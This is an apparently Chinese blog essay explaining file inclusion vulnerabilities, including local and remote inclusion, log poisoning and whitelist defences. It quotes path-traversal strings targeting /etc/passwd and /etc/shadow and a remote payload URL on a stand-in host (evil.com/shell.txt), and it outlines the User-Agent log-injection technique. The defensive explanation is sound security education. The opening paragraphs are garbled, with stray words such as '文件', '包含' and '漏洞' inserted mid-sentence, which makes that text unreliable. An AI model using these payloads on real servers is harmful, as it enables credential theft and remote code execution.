某个深夜,文件我盯着日志文件里那条奇怪的包含请求——?page=../../../../etc/passwd。攻击者只用了几个点点和斜杠,漏洞就把服务器上最敏感的文件文件内容拉了出来。这就是包含文件包含漏洞,一个存在了二十多年、漏洞至今仍在肆虐的文件老问题。
它本质上是包含个“拼路径”的失误。开发者图省事,漏洞把用户输入直接塞进文件路径里。文件你传什么,包含它就加载什么。漏洞PHP时代这种漏洞遍地都是文件,include($_GET['page'])这种写法几乎是包含教科书级的反面案例。但很多人不知道,漏洞Java、Python、Node.js里同样存在类似问题,只是换了个马甲——比如用FileReader拼接用户可控参数。
本地文件包含(LFI)还算温和,顶多读几个配置文件。真正致命的是远程文件包含(RFI)——如果服务器配置允许从URL加载文件,攻击者直接塞一个http://evil.com/shell.txt,服务器就乖乖下载并执行了恶意代码。2019年某知名CMS爆出的RFI漏洞,攻击者用一条精心构造的请求就拿到了服务器root权限,整个过程不到十秒。
我见过最骚的操作是配合日志注入打LFI。攻击者先往User-Agent头里写入PHP代码,然后触发一次404错误,让服务器把包含恶意代码的请求记录进日志文件。接着再利用LFI漏洞去包含这个日志文件——代码就被执行了。整个过程不需要上传任何文件,全靠系统自带功能互相配合,堪称“无中生有”的典范。
防御手段其实不复杂。最笨也最有效的方法是白名单校验——只允许加载预定义好的文件,其他一律拒绝。其次是对用户输入做严格过滤,把../、空字节、绝对路径这些危险字符全干掉。但现实中总有开发者图方便,或者为了支持“主题切换”功能就放松了校验。
还有个常被忽略的点——文件包含不只是PHP的专利。任何有模板引擎的语言都可能中招。比如Python的Jinja2模板继承功能,如果模板路径用户可控,一样能读文件。甚至有些框架的“视图切换”功能,本质就是文件包含的变种。
说句实在话,这个漏洞能活到今天,很大程度上是因为开发者缺乏“输入即危险”的警觉。你永远不知道用户会在参数里塞什么。我见过一个真实案例,某内部系统用文件名作为参数来展示图片,攻击者把参数改成../../../../etc/shadow,密码哈希直接暴露。修复方案简单到可笑——加个in_array白名单就完事,但就是有人想不到。
漏洞利用的门槛在降低。以前要手工构造请求,现在有自动化工具扫一遍就能发现。但防御方的意识提升却慢得多。每次代码审计,我都能在某个角落找到类似的拼接错误。这不是技术难题,是思维惰性。
最后提醒一句:如果代码里出现include、require、file_get_contents这类函数,且参数来自用户输入,请立刻假设它已经被攻破了。然后想想怎么把攻击者的路堵死。毕竟,安全不是靠运气,是靠每一处细节的较真。